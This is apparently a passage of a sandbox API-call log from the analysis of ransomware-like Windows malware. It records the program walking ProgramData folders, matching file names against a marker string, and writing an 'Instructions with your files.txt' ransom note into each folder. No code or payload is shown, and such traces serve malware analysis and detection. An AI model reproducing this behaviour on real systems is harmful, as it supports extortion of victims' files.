[0120.152] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0120.152] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0120.152] CloseHandle (hObject=0x114) returned 1
[0120.152] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0120.152] GetProcessHeap () returned 0x810000
[0120.152] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0120.152] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1
[0120.152] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 87
[0120.152] GetProcessHeap () returned 0x810000
[0120.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0120.152] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned 89
[0120.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0120.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\.") returned 89
[0120.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\..") returned 90
[0120.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
[0120.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned 102
[0120.153] StrStrIW (lpFirst="background.png", lpSrch="SDfghjkl") returned 0x0
[0120.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
[0120.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned 100
[0120.153] StrStrIW (lpFirst="behavior.xml", lpSrch="SDfghjkl") returned 0x0
[0120.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1
[0120.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned 101
[0120.153] StrStrIW (lpFirst="watermark.png", lpSrch="SDfghjkl") returned 0x0
[0120.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0
[0120.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Instructions with your files.txt") returned 120
[0120.153] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0120.156] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0120.157] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0120.157] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0120.157] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0120.157] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0120.158] CloseHandle (hObject=0x114) returned 1
[0120.158] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0120.158] GetProcessHeap () returned 0x810000
[0120.158] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0120.158] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0
[0120.158] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\Instructions with your files.txt") returned 81
[0120.158] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0120.683] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0120.729] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0120.802] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0120.802] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0120.802] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0120.802] CloseHandle (hObject=0x110) returned 1
[0120.802] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0120.802] GetProcessHeap () returned 0x810000
[0120.802] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0120.802] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1
[0120.803] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned 46
[0120.803] GetProcessHeap () returned 0x810000
[0120.803] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0120.803] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*") returned 48
[0120.803] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0120.803] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\.") returned 48
[0120.803] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.803] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\..") returned 49
[0120.803] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1
[0120.803] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 85
[0120.803] GetProcessHeap () returned 0x810000
[0120.803] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0120.803] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned 87
[0120.803] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0120.809] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\.") returned 87
[0120.809] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.809] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\..") returned 88
[0120.809] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0120.809] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 91
[0120.809] GetProcessHeap () returned 0x810000
[0120.809] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0120.809] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned 93
[0120.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0120.809] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\.") returned 93
[0120.809] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.809] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\..") returned 94
[0120.809] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
[0120.809] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml") returned 104
[0120.809] StrStrIW (lpFirst="resource.xml", lpSrch="SDfghjkl") returned 0x0
[0120.809] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
[0120.809] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Instructions with your files.txt") returned 124
[0120.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0120.810] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0120.811] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0120.811] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0120.811] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0120.811] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0120.811] CloseHandle (hObject=0x118) returned 1
[0120.811] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0120.811] GetProcessHeap () returned 0x810000
[0120.811] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0120.811] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
[0120.811] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico") returned 96
[0120.811] StrStrIW (lpFirst="folder.ico", lpSrch="SDfghjkl") returned 0x0
[0120.811] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1
[0120.811] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico") returned 96
[0120.811] StrStrIW (lpFirst="netfol.ico", lpSrch="SDfghjkl") returned 0x0
[0120.811] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1
